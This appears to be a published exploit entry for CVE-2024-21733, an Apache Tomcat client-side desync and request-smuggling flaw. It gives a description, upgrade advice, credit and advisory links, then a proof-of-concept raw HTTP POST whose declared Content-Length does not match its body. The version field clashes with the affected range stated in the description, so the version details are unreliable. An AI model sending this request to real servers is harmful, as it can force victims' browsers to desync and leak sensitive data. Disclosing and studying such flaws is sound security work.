# Exploit Title: CVE-2024-21733 Apache Tomcat HTTP Request Smuggling# Date: 1/31/2024# Exploit Author: xer0dayz# Vendor Homepage: https://tomcat.apache.org/# Software Link: https://tomcat.apache.org/# Version: 8.5.7 to 8.5.63 or 9.0.44 or later# CVE : CVE-2024-21733## Description:Apache Tomcat from 8.5.7 through 8.5.63, from 9.0.0-M11 through 9.0.43 are vulnerable to client-side de-sync attacks.Client-side de-sync (CSD) vulnerabilities occur when a web server fails to correctly process the Content-Length of POST requests. By exploiting this behavior, an attacker can force a victim's browser to de-synchronize its connection with the website, causing sensitive data to be smuggled from the server and/or client connections.## Remediation:Users are recommended to upgrade to version 8.5.64 onwards or 9.0.44 onwards, which contain a fix for the issue.## Credit:This vulnerability was reported responsibly to the Tomcat security team by xer0dayz from Sn1perSecurity LLC.## History:2024-01-19 Original advisory## Full Security Advisory: https://lists.apache.org/thread/h9bjqdd0odj6lhs2o96qgowcc6hb0cfz## Full Write-Up: https://sn1persecurity.com/wordpress/cve-2024-21733-apache-tomcat-http-request-smuggling/## PoC/Exploit:POST / HTTP/1.1Host: hostnameSec-Ch-Ua: "Chromium";v="119", "Not?A_Brand";v="24"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Linux"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Priority: u=0, iConnection: keep-aliveContent-Length: 6Content-Type: application/x-www-form-urlencodedXSent with [Proton Mail](https://proton.me/) secure email.
